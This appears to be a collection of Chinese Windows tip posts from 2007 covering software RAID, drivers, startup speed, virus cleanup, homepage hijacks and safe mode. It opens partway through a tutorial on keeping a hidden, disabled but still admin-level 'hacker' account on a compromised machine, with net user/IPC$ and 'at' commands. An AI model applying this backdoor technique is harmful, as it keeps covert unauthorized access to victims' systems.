　　4.这时如果你在图形界面下看帐户管理器中的用户时,会发现用户hacker被禁用了，但事实上是这样的吗?你用这个被禁用的用户连接一下肉鸡看看是否能连上?用命令:net user 肉鸡ipipc$ "hacker密码" /user:"hacker" 连一连看看。我可以告诉大家，经过我多次试验，次次都能成功，而且还是超级用户权限。

　　5.如果没有cmdshell怎么办?你可以我上面介绍的at命令来禁用用户hacker;命令格式:at 肉鸡ip 时间 net user hacker /active:no

　　6.原理:具体的高深的原理我也说不上来，我只能从最简单的说。你先在图形界面下在帐户管理器中禁用一下超级用户administrator看看，肯定会弹出一对话框，并禁止你继续禁用超级用户administrator，同样，因为在克隆时，hacker在注册表的"F"键被超级用户administrator在注册表的"F"键所替代，因而hacker就具有了超级用户的权限了，但是由于hacker在注册表内"C"健还是原来的"C"键，所以hacker还是会被禁用，但是它的超级用户权限却不会被禁用，因此被禁用的用户hacker还是可以连接肉鸡，而且还具有超级用户的权限。具体我也说不明白，大家权且这么理解吧。

　　五、注意的几点事项:

　　1、隐藏的超级用户建立以后，在帐户管理器中和命令行下均看不到这个用户，但这个用户却存在。

　　2、隐藏的超级用户建立以后，就不能再修改密码了，因为一旦修改密码，这个隐藏的超级用户就会暴露在帐户管理器中，而且不能删除。

　　3、如在本机上试验时，最好用系统自带的备份工具先备份好本机的“系统状态”主要是注册表的备份，因为本人做试验时，曾出现过帐户管理器中看不到任何用户，组中也看不到任何组的现象，但它们却存在。幸好我有备份,呵呵。SAM键是毕竟系统最敏感的部位。

　　4、本方法在2000/XP上测试通过，未在NT上测试。

　　注：本方法仅供研究，请勿将本方法用于破坏上，利用本方法造成严重后果者，由使用者负责，本人概不负责。

Win 2000/XP中实现硬盘性能突破的方法

2007-01-28T22:47:00.000+08:00

引:在Windows 2000/XP中，物理硬盘分为两种类型，一种是基本磁盘，一种是动态磁盘。基本磁盘是包含主分区、扩展分区和逻辑驱动器的物理硬盘，可以被其他操作性访问；在Windows 2000/XP中的“磁盘管理”升级得到。

　　一、简单认识软RAID

　　软RAID不需要RAID控制卡，它通过软件进行控制。windows 2000/XP支持该功能。先给大家介绍一下软RAID的基本知识。

　　在Windows2000/XP中，物理硬盘分为两种类型，一种是基本磁盘，一种是动态磁盘。基本磁盘是包含主分区、扩展分区和逻辑驱动器的物理硬盘，可以被其他操作性访问；在indows 2000/XP中的“磁盘管理”升级得到，只包含由“磁盘管理”创建的动态卷，并由“磁盘管理”程序管理，所以不能被其他操作系统访问。

　　软RAID被Windows 2000/XP称为卷。要在Windows 2000上使用软件RAID，必须把基本磁盘升级到动态磁盘，才能在动态磁盘上创建我们所需的带区卷（RAID0）。卷有多种格式，下面是我们组建软RAID 0涉及的几种。

　　1．简单卷：构成单个物理磁盘空间的卷。它可以由磁盘上的单个区域或同一磁盘上连接在一起的多个区域组成，可以在同一磁盘内扩展简单卷。安装操作系统的简单卷成为引导卷。

　　2．跨区卷：简单卷也可以扩展到其他的物理磁盘，这样由多个物理磁盘的空间组成的卷就称为跨区卷。简单卷和跨区卷都不属于RAID范畴。

　　3．带区卷：以带区形式在两个或多个物理磁盘上存储数据的卷。带区卷上的数据被交替、平均（以带区形式）地分配给这些磁盘，带区卷是所有 Windows 2000/XP可用的卷中性能最佳的，但它不提供容错。如果带区卷上的任何一个磁盘数据损坏或磁盘故障，则整个卷上的数据都将丢失。带区卷可以看做硬件RAID中的RAID0。

　　二、建立带区卷（RAID0）

　　了解了有关知识后，让我们看看如何建立一个高性能的带区卷。下面已Windows 2000为例，给大家介绍。建立带区卷必须对硬盘重新格式化，数据将会丢失，所以建议将硬盘数据备份后，删除Windows 2000所在分区以外的所有分区。

　　接着以系统管理员身份登录windows 2000，然后依次打开“我的电脑→控制面板→管理工具→计算机管理→存储→磁盘管理（本地）”。在屏幕的上半部分显示的是分区或卷的详细情况，下半部分显示物理磁盘的状态，在这一部分的左边显示物理磁盘的两种类型。图中的磁盘0、1都是物理磁盘，并且现在都是基本磁盘，我们要把它们升级到动态磁盘并创建一个带区卷。

　　接着就是升级到动态磁盘。在磁盘0或磁盘1上点击鼠标右键，选择“升级到动态磁盘（U）”，出现对话框后在磁盘0和磁盘1前面打勾并确定，几秒钟后升级就完成了，此时在“磁盘管理”中磁盘0和磁盘1已经变成动态磁盘了，并且Windows 2000所在分区变成包含引导信息的简单卷，也就是引导卷。而其他空间则变成未指派空间。

　　然后创建带区卷。未指派空间可以创建简单卷或者带区卷，在磁盘0未指派空间上点右键并选择“创建卷”；点击“下一步”后选择“带区卷”，将磁盘0和磁盘1添加到右边的“选定的动态磁盘（S）”一栏中，按下一步后，Windows提示指派驱动器号（可以由Windows指定也可手动分配，一般以系统默认即可），然后需要进行格式化.可以选择FAT32和NTFS作为带区卷的文件系统，然后选择簇的大小和卷标，簇越大磁盘性能越高但造成的空间浪费也越大。我选择了“默认”由Windows自动设定，在“执行快速格式化”上打勾并确定，经过几秒钟的格式化后，屏幕上半部分就出现了一个驱动器号为“D”，容量为磁盘0原未指派容量两倍的带区卷，也就是我们要的RAID0阵列。

　　在使用硬件级的RAID0时，如果两个物理硬盘容量不相等，那么创建的RAID0阵列的总容量为较小一个容量的两倍，比如一个10GB和一个20GB硬盘创建硬件级RAID0，那么得到的总容量就是10G×2=20GB，较大硬盘上多出的10G空间无法使用，就白白浪费掉了。而使用Windows 2000的软件RAID，虽然最多也只能创建较小硬盘容量两倍的带区卷，但较大硬盘上多出的空间还能利用。利用的方法就是用较大硬盘上剩余的空间再创建一个简单卷，简单卷会被另外分配一个驱动器号，使用起来跟基本磁盘上的逻辑驱动器一样。创建简单卷的步骤与创建带区卷大体相同，只是在选择卷类型是选择“简单卷”就行了。一个动态磁盘上允许多种类型的卷共存，创建带区卷后，磁盘1还有1.1GB的未指派空间，我们又用它创建了一个驱动器号为E的简单卷。这时候，磁盘0和1都存在带区卷和简单卷，并且所有空间都被使用，没有任何浪费。

　　注意事项：

　　1. 创建了一种卷之后，要想改变卷类型必须先删除卷，删除卷时所有的数据都会丢失，所以要先备份数据。删除的方法很简单，在卷上点右键，选择“删除卷（D）”然后按提示进行。

　　2. 创建卷必须使用动态磁盘上的未指派空间，两块动态磁盘可以创建多个带区卷，而且可以同时和多个磁盘创建带区卷，每个带区卷的大小可以随心所欲的设定（当然要在磁盘容量允许范围内），这种灵活性是硬件RAID无法比拟的。

　　3. 要将动态磁盘还原为基本磁盘必须先删除动态磁盘上所有的卷，然后在磁盘上点击右键，选择“还原到基本磁盘”，然后按提示进行操作。如果要卸载Windows 2000/XP并安装其它操作系统，千万记得先备份数据再把动态磁盘还原为基本磁盘，否则其它操作系统将无法识别动态磁盘，磁盘将无法使用。如果不慎遇到这种情况，可以通过把硬盘挂到装有Windows 2000/XP的机器识别。

　　三、性能测试

　　相信打假最关心的是软RAID的性能了，于是笔者进行了简单的测试。下表就是软、硬RAID在相同平台上的测试成绩：

　　在表中大家可以看到，软RAID的性能和硬RAID的性能相差无几，而且非常适合两块硬盘容量差异较大但速度接近的朋友。看到这里你已经心动了吧，快动手体验一下！

通过Windows Update查找适用的驱动程序

2007-01-28T22:46:00.000+08:00

当你将系统升级至Windows XP后，便有可能发现某个硬件设备无法正常工作，或你的计算机不能对某一硬件加以识别。而解决这一问题的切入点则在于，搞清你是否安装了正确的设备驱动程序。驱动程序是一种用来确保特定硬件设备与相关计算机系统处于良好协作状态的小型软件。

　　上述问题的解决应以Windows Update（Windows更新）为起点。先单击左侧列中的Scan for updates（扫描更新服务），再单击Driver Updates（驱动程序更新）。

　　如果你掌握所需驱动程序的确切名称和版本号，便有可能从Windows Update Catalog（Windows更新编录）中下载该程序。请依次执行下列操作步骤：

　　1.调出Windows Update（Windows更新）主页，并在左侧列内的Other Options（其它选项）下方单击Personalize Windows Update（个性化Windows更新）。

　　2.选中Display the link to the Windows Update Catalog under "See Also"（在“请参阅”下方显示通往Windows更新编录的链接）复选框。

　　3.单击Save Settings（保存设置）。

　　于是，一个通往Windows更新编录的链接便会出现在左侧列中的“请参阅”段内。Windows更新编录将允许你搜索与硬件产品相对应的驱动程序更新软件，而查询结果则将以产品类别和制造商分别主、次关键字进行列示。

　　说明：Windows Update站点将对你所使用的系统执行扫描操作，以确认已安装完毕的对象。该站点有可能要求你先将扫描软件下载至本地计算机，以便为上述任务处理过程提供便利。而你所使用系统的安全性和保密性则可望在扫描执行期间得以确保。如果你仍对自身系统保密性怀有顾虑，敬请阅读公示于Windows Update站点的Windows Update保密声明。

　　如果你无法在此找到所需驱动程序，则应访问新硬件制造商的Web站点，并查询与驱动程序或所购产品相关的信息资料。请仔细查看通往驱动程序的链接，并随手记录下有关新产品的详细资料（如型号等）。如果上述方法仍不奏效，你就应打电话或写信给硬件产品制造商，以便与其核实问题的根源是否在于驱动程序缺失，并进一步咨询获取驱动程序的方法。

　　重要提示：制造商Web站点上所提供的某些驱动程序也许并未通过Microsoft兼容性测试，从而，有可能对你所使用的计算机构成损害。Microsoft公司已制定并启动了旨在解决上述问题的Designed for Windows XP（专为Windows XP设计）徽标推广计划。为确保你的系统获得最佳性能表现，我们强烈建议你使用那些在外包装和设备机身上贴有Designed for Microsoft Windows XP（专为Microsoft Windows XP设计）徽标的硬件产品。

　　如果你试图安装一个未经Windows XP认可的驱动程序，便会看到一条由系统弹出的警告消息。在此，我们强烈建议你及时终止安装进程，并通过Web站点、电话或邮件等方式与硬件制造商取得联系，以便要求他们将符合Designed for Windows XP（专为Windows XP设计）要求的设备驱动程序发布于Windows Update站点。这样一来，你便可确保相关硬件与计算机系统实现良好的兼容性，并且不会对设备构成损害。

五项屏蔽让Windows系统速度再快一点

2007-01-28T22:45:00.000+08:00

想方设法让系统实现极速启动，一直是各位电脑爱好者不懈的追求。可是，当我们用尽各种优化系统的绝招后，系统启动画面中的进度条仍然需要来回转上十几回系统才能启动成功，这是怎么回事呢，难道是媒体上总结出来的各种系统优化绝招都是用来“忽悠”人的?事实上，许多藏在系统暗处的网络设置功能，是许多系统优化绝招无法触及的，很多情况下就是因为这些设置不当的网络功能拖慢了系统启动速度；为此，我们只要将这些不当的网络功能屏蔽掉，就一定能够为系统提速再加一鞭!

　　1、屏蔽网络共享功能

　　要是我们的计算机并没有处于单位局域网网络中，那么已经被启用的网络共享功能其实一点用处都没有，它的存在反而会拖累系统的启动速度;要想尽可能地提高系统启动速度的话，我们完全可以将本地系统已经启用的网络共享功能给屏蔽掉，下面就是具体的屏蔽操作步骤：

　　首先在Windows系统“开始”菜单中依次执行“设置”/“控制面板”/“网络连接”命令，打开本地计算机的网络连接列表窗口，找到其中的“本地连接”图标，并用鼠标右键单击该图标，从其后出现的快捷菜单中执行“属性”命令，打开本地连接属性设置窗口;

　　其次在该窗口的“常规”标签页面中，找到“此连接使用下列项目”列表框中的“Microsoft网络的文件和打印机共享”选项，并将该选项前面方框中的勾号取消掉，最后单击“确定”按钮关闭属性设置窗口，这么下来系统在下次启动时就不会花费时间去检查网络共享方面的内容了。

　　2、屏蔽完全控制功能

　　计算机系统每次启动时都会自动对本地硬盘中的相关共享文件夹进行搜索和扫描，而共享文件夹的访问属性设置不同的话，那么系统扫描该目标共享文件夹的时间也会不相同;比方说，要是某一共享文件夹被设置为“只读”权限时，系统扫描该共享文件夹的时间可能只需要1毫秒，而当将共享文件夹的访问权限设置为“完全控制”时，系统扫描该共享文件夹的时间可能就需要1.5毫秒，由此可见，当开通共享文件夹的“完全控制”功能时，系统的启动速度也会受到一定程度的影响。为此，当我们不希望自己的共享资源让别人随意编辑修改时，只需要简单地将共享文件夹的属性设置为“只读”就可以了，而不要想当然地将它设置成“完全共享”，毕竟在这种访问属性下，共享文件夹的安全不但得不到保证，而且还会影响系统的启动速度。要将目标共享文件夹的“完全控制”功能屏蔽掉的话，可以按照如下步骤进行操作：

　　首先打开系统的资源管理器窗口，并在该窗口中找到目标共享文件夹，然后用鼠标右键单击对应文件夹图标，从其后出现的快捷菜单中选择“共享和安全”命令选项，打开到目标共享文件夹的属性设置窗口。

　　其次单击该属性设置窗口中的“安全”标签，打开标签设置页面，在该页面的“组或用户名称”列表框中，选中自己经常登录系统的那个特定用户帐号，例如这里笔者选择的是“ower”帐号。

　　接下来在对应“ower的权限”列表框中，选中“完全控制”项目，并在对应该选项的“允许”方框中取消选中状态，这样我们就能将目标共享文件夹的“完全控制”功能给屏蔽掉了，之后根据实际访问需要，开通目标共享文件夹的“读取”权限或“写入”权限，最后单击“确定”按钮，相信这么一来系统的启动速度就能更进一步了。

　　3、屏蔽自动搜索功能

　　当启动安装有Windows XP系统的计算机时，该计算机一般会自做主张地搜索局域网环境中的所有共享资源，很显然这种自做主张的“行为”也会影响计算机系统的快速启动。为了提高系统启动速度，我们可以按照如下方法将本地系统自动搜索共享资源的功能屏蔽掉：

　　首先打开本地系统的资源管理器窗口，单击该窗口菜单栏中的“工具”选项，从其后出现的下拉列表中单击“文件夹选项”，进入到系统的文件夹选项设置界面，单击其中的“查看”标签，打开选项设置窗口;

　　找到该窗口中的“自动搜索网络文件夹和打印机”选项，并将该选项前面方框中的勾号取消，再单击一下“确定”按钮，这样的话该计算机系统下次启动时就不会耗费时间去自动搜索局域网环境中的其他共享资源了，那么系统启动速度应该就会明显提升许多。

　　4、屏蔽自动分配功能

　　这里所提到的“自动分配功能”，其实指的是Windows系统在默认状态下为本地网卡设备自动分配IP地址的功能;一旦将本地网卡的IP地址设置成自动获取的话，那么计算机系统每次启动时，都会耗费一定的时间向局域网网络中的DHCP服务器申请可以使用的动态IP地址，要是访问不到DHCP服务器时，计算机系统还会尝试反复连接、访问DHCP服务器，直到访问超时为止，这么一来系统的启动速度将会受到非常严重的影响，甚至会出现系统假死状态。为了避免系统在启动过程中耗费时间去连接、访问DHCP服务器，我们只要事先为网卡设备设置好一个可以使用的静态IP地址就可以了，为网卡设备分配静态IP地址可以按照如下步骤进行操作：

　　首先依次单击“开始”/“设置”/“网络连接”/“本地连接”命令，直接进入到本地系统的“本地连接”属性设置界面，在该设置界面的“常规”标签页面中，选中“Internet协议(TCP/IP)”选项，并单击对应页面中的“属性”按钮，打开属性设置界面，将该设置界面中的“使用下面的IP地址”选项选中，同时为网卡设备指定一个与ADSL设备地址同处一个子网的IP地址;比方说，ADSL设备的IP地址一般为“192.168.1.1”，那么我们就可以将网卡IP地址设置为“192.168.1.11”，同时将子网掩码地址设置成“255.255.255.0”，网关地址设置为“192.168.1.1”。

　　接下来再将“使用下面的DNS服务器地址”选中，然后将本地ISP的真实DNS服务器IP地址填写在这里，比方说，ISP真实的DNS地址要是为“61.172.7.1”时，那我们就可以将该地址填写在这里，同时单击一下“确定”，以便将上面的IP地址参数保存起来，相信这么一来计算机系统日后就不需要在启动的时候花时间访问DHCP服务器了，那么系统启动速度肯定会更上一层楼的。

　　5、屏蔽网络映射功能

　　为了方便每次开机后就能快速访问到对方计算机中的共享文件夹，许多人往往会通过网络映射功能将对方的共享文件夹映射成本地计算机中的一个磁盘分区。这种方式虽然给共享访问带来了很大方便，但是它给系统的启动带来了不小的影响，毕竟系统在每次启动时都需要耗费时间去搜索、扫描、连接对方共享文件夹，实际上我们并不是每次开机时都需要访问对方共享文件夹，很明显随意开通共享文件夹的网络映射功能，会严重拖慢计算机系统的启动速度。

　　为了让系统启动速度不受影响，我们可以按照如下操作步骤将本地计算机中暂时不用的网络映射连接断开：

　　首先用鼠标双击系统桌面中的“我的电脑”图标，在其后弹出的窗口中单击菜单栏中的“工具”项目，从随后出现的下拉菜单中执行“断开网络驱动器”命令，之后选中其中一个暂时不用的网络驱动器分区盘符，再单击“确定”按钮就可以了。

　　当然，我们也可以直接使用“net use”命令实现断开网络映射连接的目的，在使用这种方法屏蔽网络映射功能时，只需要先打开系统的运行对话框，并在其中执行“cmd”字符串命令，将系统界面切换到MS-DOS命令行状态;接着在DOS提示符下执行“net use x: /del”字符串命令，就能将网络磁盘分区为“X”的网络映射连接断开了，要想快速地将本地计算机中所有的网络映射连接断开的话，只需要执行“net use * /del”字符串命令就可以了。

实用防毒小技巧:中毒后的6个紧急处理措施

2007-01-28T22:43:00.000+08:00

现在虽然有众多的杀毒软件和防火墙供大家作为电脑的保护，但新病毒和木马，加上黑客人工的入侵方式，电脑中毒的情况还是很普遍。尤其是上网的用户，一不留意就会中招。如何防止中毒的技巧文章，大家已经看得很多了。那么万一中毒了，该如何处理呢？下面就谈谈中毒后的一些紧急处理措施：　

一、正在上网的用户，发现异常应首先马上断开连接　

如果你发现IE经常询问你是否运行某些ACTIVEX控件，或是生成莫明其妙的文件、询问调试脚本什么的，一定要警惕了，你可能已经中招了。典型的上网被入侵有两种情况：　　

1、是浏览某些带恶意代码的网页时候被修改了浏览器的默认主页或是标题，这算是轻的；还有就是遇到可以格式化硬盘或是令你的windows不断打开窗口，直到耗尽资源死机——这种情况恶劣得多，你未保存和已经放在硬盘上的数据都可能会受到部分或全部的损失。　

2、是黑客的潜在的木马发作，或是蠕虫类病毒发作，让你的机器不断地向外界发送你的隐私、或是利用你的名义和邮件地址发送垃圾，进一步传播病毒；还有就是黑客的手工入侵，窥探你的隐私或是删除破坏你的文件。　　

处理办法：马上断开连接，这样能将自己的损失降低的同时，也避免了病毒向更多的在线电脑传播。请先不要马上重新启动系统或是关机，进一步的处理措施请参看后文。　　

二、中毒后，应马上备份转移文档和邮件等　　

中毒后运行杀毒软件清除是不在话下的了，但为了防止杀毒软件误杀或是删掉你还处理完的文档和重要的邮件，你应该首先将它们转移备份到其他储存媒体上。有些长文件名的文件和未处理的邮件要求在windows下备份，所以第一点这里笔者建议您先不要退出windows，因为病毒一旦发作，可能就不能进入windows了。

不管这些文件是否带毒了，你都应该备份，用标签纸标记为待查即可。因为有些病毒是专门针对某个杀毒软件设计的，一运行就会破坏其他的文件，所以先备份是以防万一的措施。等你清除完硬盘内的病毒后，再来慢慢分析处理这些额外备份的文件较为妥善。　

三、需要在windows下先运行一下杀CIH的软件（即使是带毒环境）

如果是发现了CIH病毒的，要注意不能完全按平时报刊和手册建议的措施，先关机、冷启动用系统盘来引导再杀毒，应在带毒的环境下也运行一次专杀CIH的软件。这样做，杀毒软件可能会报告某些文件在受读写保护无法清理，但带毒运行的实际目的不在于完全清除病毒，而是在于把CIH下次开机时候的破坏减到最低，以防它再次开机破坏主板的BIOS硬件，那么就会黑屏，让你的下一步杀毒无法进行。

四、需要干净的DOS启动盘和DOS下面的杀毒软件

到现在，就应该按很多杀毒软件的标准手册去按步就班地做，即关机后冷启动，用一张干净的DOS启动盘引导是不能少的了；另外由于中毒后可能windows已经被破坏了部分关键文件，会频繁地非法操作，所以windows下的杀毒软件可能会无法运行。所以请你也准备一个DOS下面的杀毒软件来以防万一。　

即使能在windows下运行杀毒软件的，也请用两种以上工具交叉清理。在多数情况下windows可能要重装，因为病毒会破坏掉一部分文件让系统变慢或出现频繁的非法操作。比如即使杀了CIH，微软的OUTLOOK邮件程序也是反应较慢的。建议不要对某种杀毒软件带偏见，由于开发时候侧重点不同、使用的杀毒引擎不同，各种杀毒软件都是有自己的长处和短处的，交叉使用效果较理想。　　

五、如果有GHOST和分区表、引导区的备份，用之来恢复一次最保险

如果你在平时作了windows的GHOST备份，用之来镜像一次，得到的操作系统是最保险的。这样连潜在的未杀光的木马程序也顺便清理了，当然，这要求你的GHOST备份是绝对可靠的，呵呵，要是作GHOST的时候把木马也“备份”了就．．．．．

六、再次恢复系统后，更改你的网络相关密码

包括登录网络的用户名、密码，邮箱的密码和QQ的等等，防止黑客已经在上次入侵过程中知道了你的密码。另外因为很多蠕虫病毒发作会向外随机发送你的信息，所以适当的更改是必要的。

IE主页被迫连接某网站的解决办法

2007-01-28T22:42:00.000+08:00

最近自己和身边朋友都分别因为聊天或浏览网页时，被引导点击某个网址，知情或不知情的下载了某个小程序后，导致IE主页被强迫连接到不同网站。在上论坛寻求帮助的时，发现还有很多朋友遇到此问题，虽然起因和连接网站不同，但现象和手法近似。所以总结了一套方法，和大家一起研究，希望不在受这种恶意程序骚扰!

　　第一

　　右键点击IE浏览器，打开属性检查internet选项设置主页项是否被修改，如果是请改为空白页，并清空IE的临时文件夹。

　　第二

　　升级瑞星杀毒软件至最新版，查杀内存中是否有病毒运行(只查杀内存即可)。

　　第三

　　在开始菜单中的运行项中输入msconfig命令调出系统配置实用程序，检查启动项(2000系统可以从XP系统拷贝MSCONFIG.EXE使用，也可以使用第三方软件查看，如WINDOWS优化大师)。记录每个不明启动项的文件名及所在路径，并取消这些自启动项。

　　第四

　　CTRL+ALT+DEL 打开任务管理器，检查进程中是否有和启动项中同名的的程序在运行，尝试结束该进程!(注意，该名称很可能与某些系统程序同名，即恶意攻击程序伪装成系统进程运行。也许会有两个同名进程存在，这很可能就是你要找的凶手。)

　　附:已知伪装进程

　　英文文件名 taskmgr.exe 中文名任务管理器

　　现象:两个同名进程同时运行，基本无法分辨。但结束正确进程会关闭任务管理器，而结束假冒进程则可暂时解决IE自动连接问题!

　　第五

　　按照在启动项里所找到的文件路径，查找你刚刚你所结束的可以进程的文件。打开我的电脑，在窗口上方菜单中依次打开工具——文件夹选项——查看，点选显示所有文件和文件夹项，同时取消隐藏受保护的操作系统文件前的对勾，以便完全检查所有文件。(注意，已知恶意程序均为深度隐藏，98系统下需打开显示隐藏文件功能，2000、XP系统下必须同时取消隐藏受保护的操作系统文件功能)

　　第六

　　找到目标文件后，请右键该文件查看属性。注意其创建时间和修改时间，多数病毒文件这两个时间都会一致或相差较小，这个时间就是你中招的时间。还有，请将查看设置为详细信息检查是否在该文件夹下还有同时间创建的文件，病毒有可能伪装成影音或其他格式的文件，不要被它迷惑更不要点击运行它。马上原地将它们压缩，改为其他名称，这样以来可以解除威胁，二来可以防止误删除系统文件。(如果提示你该程序正在运行，你可以重起机器后连续按F8键进入安全模式，然后压缩)当然，如果你可以确认是病毒，最好直接删除~

　　第七使用开始菜单中的搜索功能在硬盘上完全查找你发现的可以文件，看是否在其他位置还有该文件副本一并删除。(笔者所遭遇的恶意程序就是在伪装成任务管理器的同时又伪装成notepad.exe记事本程序，并使得所有记事本文件都会通过它打开，也就是说你打开某个记事本文件的同时恶意程序会再度运行。)另外，请手动检查windows文件夹下是否存留同名病毒文件，还有windows下的system和system32文件夹也要仔细检查，笔者发现最近的病毒都将自身副本加入了上述三个文件夹中，如果清楚不干净很可能死灰复燃!

　　第八

　　重新启动你的电脑，连线上网打开IE，看看是否已经恢复正常。如果不行请再次按上述方法更详细的分析一下，看看是否有遗漏。

　　第九

　　问题解决不要高兴的太早，这种恶意程序引导的网站很有可能带有病毒会木马程序。请将杀毒软件升级至最新版本进入安全模式完全查杀一遍，保证安全!

　　以上是本人根据自己的实际情况所总结的经验，望能给同样问题的以帮助。另外，还是提醒大家不要被好奇心驱使，去点击陌生网址或接收不明文件~

Windows系统"安全模式"妙用全接触

2007-01-28T22:41:00.000+08:00

经常使用电脑的人可能都听说过，当电脑出了故障时，Windows会提供一个名为“安全模式”的平台，在这里用户能解决很多问题--不管是硬件(驱动)还是软件的。然而你会使用这个安全模式么?今天我们就来带您认识一下它的真面目。

　　初识安全模式

　　要进入安全模式，只要在启动时不停地按F8，就会出现选项菜单，再用键盘上的上下光标键进行选择即可进入不同的启动模式。选项菜单包括了以下几个：

　　1.安全模式

　　只使用基本文件和驱动程序。如鼠标(USB串行鼠标除外)、监视器、键盘、硬盘、基本视频、默认系统服务等，但无网络连接。

　　如果采用安全模式也不能成功启动计算机，则可能需要使用恢复控制台功能来修复系统。

　　2.带网络连接的安全模式

　　在普通安全模式的基础上增加了网络连接。但有些网络程序可能无法正常运行，如MSN等，还有很多自启动的应用程序不会自动加载，如防火墙、杀毒软件等。所以在这种模式下一定不要忘记手动加载，否则恶意程序等可能会入侵在你修复电脑的过程中。

　　3.带命令行提示符的安全模式

　　只使用基本的文件和驱动程序来启动，在登录之后，屏幕上显示命令提示符，而非Windows图形界面。

　　说明：在这种模式下，如果你不小心关闭了命令提示符窗口，屏幕会全黑。可按下组合键Ctrl+Alt+Del，调出“任务管理器”，单击“新任务”，再在弹出对话框的“运行”后输入“C:\WINDOWS\explorer.exe”，可马上启动Windows XP的图形界面，与上述三种安全模式下的界面完全相同。如果输入“c:\windows\system32\cmd”也能再次打开命令提示符窗口。事实上，在其它的安全模式甚至正常启动时也可通过这种方法来启动命令提示符窗口。

　　4.启用启动日志

　　以普通的安全模式启动，同时将由系统加载(或没有加载)的所有驱动程序和服务记录到一个文本文件中。该文件称为 ntbtlog.txt，它位于 %windir% (默认为c:\windows\)目录中。启动日志对于确定系统启动问题的准确原因很有用。

　　5.启用VGA模式

　　利用基本VGA驱动程序启动。当安装了使Windows不能正常启动的新视频卡驱动程序时，这种模式十分有用。事实上，不管以哪种形式的安全模式启动，它总是使用基本的视频驱动程序。因此，在这些模式下，屏幕的分辨率为640×480且不能改动。但可重新安装驱动程序。

　　6.最后一次正确的配置

　　使用Windows上一次关闭时所保存的注册表信息和驱动程序来启动。最后一次成功启动以来所作的任何更改将丢失。因此一般只在配置不对(主要是软件配置)的情况下，才使用最后一次正确的配置。但是它不能解决由于驱动程序或文件被损坏或丢失所导致的问题。

　　7.目录服务恢复模式

　　这是针对服务器操作系统的，并只用于恢复域控制器上的SYSVOL目录和Active Directory目录服务。

　　8.调试模式

　　启动时通过串行电缆将调试信息发送到另一台计算机。

　　如果正在或已经使用远程安装服务在您的计算机上安装 Windows，则您可以看到与使用远程安装服务还原或恢复系统相关的附加选项。

　　现实应用

　　1.笔者过去用的是一款旧显示器，又是初学者，初学者最爱干的是什么，换点墙纸，设一下分辨率也觉得很有成就感，没想到误将分辨率和刷新率调得太高，下次启动时屏幕花屏，害得的重新安装了操作系统才算了事。

　　现在想起来那时也真的傻瓜可爱，只要将其重启到安全模式(前四种模式都行)下，删除显卡驱动程序，再重启电脑即可，重启(正常启动)时，系统会自动扫描显卡并安装驱动程序，屏幕即可恢复正常显示。

　　还有些问题也可用这种方法来处理，比如Windows XP会自动识别硬件并安装驱动程序，但有时总是老眼昏花，而且在设备管理器下不会显示出错信息。但就是工作不正常，如上不了网(网卡驱动有错)、屏幕显示不对(显卡驱动有错)等，也可在安全模式重新安装驱动程序。

　　2.揪出恶意的自启动程序或服务

　　如果电脑出现一些莫明其妙的错误，比如上不了网，按常规思路又查不出问题，可启动到带网络连接的安全模式下看看，如果在这里能上，则说明是某些自启动程序或服务影响了网络的正常连接。

　　可在带网络连接的安全模式下，用带重定向的命令提示符工具TaskList >d:\Anquan.txt将当时的进程记录到D：盘根目录下的文本文件 Anquan.txt中。接着，以正常的方式启动电脑，将Anquan.txt中记录到的进程与此时的进程进行比较，你会发现此时的进程要多得多，请逐个结束多出来的进程，并检查网络连接是否正常。如果结束到某一进程时网络连接正常了，则说明就是刚结束的进程就是罪魁祸首。查出后，可删除与进程相关的可执行文件。但还要注意的是，由于它是自动运行的，强行删除后，可能会引起启动时报“找不到某文件”的错误，还得将其与自启动有关的设置全部清除，包括“系统配置实用程序”的“启动”、“Win.ini”下的内容、注册表下的内容、启动脚本下的内容、“开始”菜单“启动”下的内容等。

　　3.调整分区

　　有一次，笔者带着本本儿出差，途中想处理一下下车即用的报表文件，可本本儿偏不争气，启动时报分区错误。天啊，出门在外的，又没带任何工具软件，好在天无绝人之路，还能启动到安全模式下——有法了，命令行工具Diskpart能胜任分区魔术师的一切工作(可能还少有朋友听说吧)。Diskpart功能非常强大，它工作于一个集成的环境，输入Diskpart后，显示图1所示的专用提示符即Diskpart>(注意：这不是一个路径)，在这一环境下可输入很多与之相关的同时也是它的专用子命令。下面就来演示分区的扩容功能。

　　说明在先：以下的操作是在台式机上记录下来的。

　　①启动到带命令提示符的安全模式下，输入命令Diskpart。再输入list partition 显示一下分区，显然，其中有两个主分区、两个扩展分区。

　　②输入“Select Parttition 3”使第3分区(5004MB的那个)，使该分区具有焦点属性。再输入“Delete Partition”即可删除该分区。请将图3第1、2两个“List partition”命令后的值进行比较，不难看出，原分区3确实已被删除了。

　　③输入“Select partition 1”使其具有焦点属性，再输入“Extend”,刚才被删除分区所空出来的末分配空间就能自动添加到第1分区中去。

　　为分区扩容，这可是分区魔术师的专利，“diskpart”也能实现，看来，Windows Server 2003不支持分区魔术师是有道理的。再输入“List partition”可观察到第1个分区的容量变化情况。

　　说明：将带有焦点的分区扩展为最邻近的未分配空间时。对于普通分区，未分配的空间必须在同一磁盘上，并且必须接着带有焦点的分区。

　　如果要被扩容的分区是NTFS格式，扩容后不会丢失任何数据。如果是非 NTFS 的文件系统格式，此命令就会失败，但不会对分区作任何更改也不会破坏数据。不能扩展当前系统分区或启动分区，也不能对包含页面文件的分区进行扩容。从图中可看出，我的电脑中有两个主分区，分区5才是活动分区。不然，不能对分区1进行扩容操作。

　　语法：extend [size=n]

　　参数说明： size=n ：添加到当前分区的空间大小 (MB)。如果不指定大小，磁盘就扩展为占用所有最邻近的未分配空间。

　　④不管对硬盘分区做了什么样的改动，包括创建、删除、扩容等，都用不着重新启动电脑即可生效(这是分区魔术师不能做到的)，但在“我的电脑”却看不到这些分区，这是为什么呢，原来，还没为其指定驱动器号(也就是盘符)，怎样指定盘符呢?下面以为第一个分区指定盘符为例进行说明。

　　使第1个分区具有焦点属性，再输入命令“Assign”，Diskpart就会自动为其分配一个。当然也可用命令“Assign　Letter=X”来手动指定，手动指定时，不能与已存在的盘符如C等相同。经过这样的处理后，就能在“我的电脑”下查看到这些分区了。

　　⑤将分区5设为活动分区，先用Select Parttition 5使其具有焦点属性再用Active激活即可。最后输入Exit，退出Diskpart集成环境，让电脑自动重启。

